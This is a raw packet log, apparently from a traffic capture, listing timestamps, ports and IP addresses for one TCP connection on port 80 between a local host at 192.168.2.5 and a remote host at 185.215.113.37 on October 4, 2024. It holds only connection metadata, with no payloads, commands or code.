Oct 4, 2024 05:45:06.332360029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332362890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332377911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332387924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332408905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332422972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332426071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332458019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332463026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332473040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332487106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332499027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332504988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332521915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332521915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332557917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332566023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332581997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332617998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332889080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332932949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332946062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.332950115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.332994938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333009005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333010912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333023071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333036900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333066940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333096981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333100080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333115101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333149910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333172083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333211899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333233118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333245993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333261013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333266020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333280087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333281994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333293915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333306074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333316088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333332062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333343029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333347082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333362103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.333365917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.333404064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.451569080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.456605911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.678755045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.678805113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.678852081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.678895950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.678983927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.678983927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.678983927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.678983927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679007053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679052114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679059029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679085016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679099083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679131031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679136992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679164886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679183960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679197073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679212093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679246902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679249048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679284096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679300070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679332972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679338932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679390907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679409981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679466963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679469109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679497957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679521084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679548025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679548025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679582119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679599047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679614067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679631948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679658890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679663897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679713011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679716110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679748058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679768085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679795980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679796934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679830074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679857969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679862022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679878950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679910898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679912090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679944992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.679965019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679989100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.679992914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680026054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680044889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680058956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680078983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680107117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680109024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680140972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680160999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680169106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680192947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680217028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680217028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680267096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680269003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680295944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680321932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680345058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680346966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680381060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680397987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680414915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680432081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680464983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680469036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680497885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680522919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680546045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680546999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680577993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680598974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680630922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680632114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680665016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680687904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680713892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680718899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680743933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680767059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680792093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680793047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680824041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680847883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680874109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680872917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680922031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680931091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.680954933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.680972099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681003094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681005955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681034088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681051970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681070089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681086063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681102991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681122065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681135893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681155920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681166887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681189060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681216002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681221962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681248903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681269884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681279898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681302071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681308985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681337118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681359053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681365013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681415081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681416035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681446075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681468964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681478024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681503057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681509972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681530952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681544065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681566000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681574106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681598902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681606054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681626081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681641102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681663036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681673050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681704044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681705952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681725979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681736946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681757927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681768894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681788921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681802034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681829929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681832075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681855917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681865931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681885004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681898117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681920052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681930065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681951046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681962013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.681987047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.681993961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682013988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682023048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682048082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682054996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682075977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682086945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682111025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682118893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682138920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682149887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682174921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682182074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682202101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682218075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682235956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682249069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682274103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682281971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682307959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682320118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682339907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682353973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682377100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682385921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682419062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682420015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682444096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682451010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682472944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682482958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682503939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682514906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682534933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682547092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682569027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682578087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682600975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682611942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682632923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682642937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682676077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682706118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682709932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682739019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682758093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682770014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682792902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682804108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682831049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682835102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682857990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682868004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682885885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682898998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682920933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682930946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682955027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682962894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.682981014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.682995081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683013916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683026075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683046103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683058023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683077097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683090925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683105946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683123112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683140993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683154106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683175087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683187008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683203936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683218002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683234930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683249950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683274984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683300018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.683300018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.683352947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767463923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767538071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767636061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767685890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767739058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767771006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767803907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767836094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767847061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767848015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767885923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767919064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767967939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.767976046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.767976999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768001080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768024921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768033981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768069983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768089056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768089056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768141985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768172026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768191099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768198967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768225908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768244028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768276930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768285036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768320084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768337965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.768368006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.768383980 CEST	49704	80	192.168.2.5	185.215.113.37
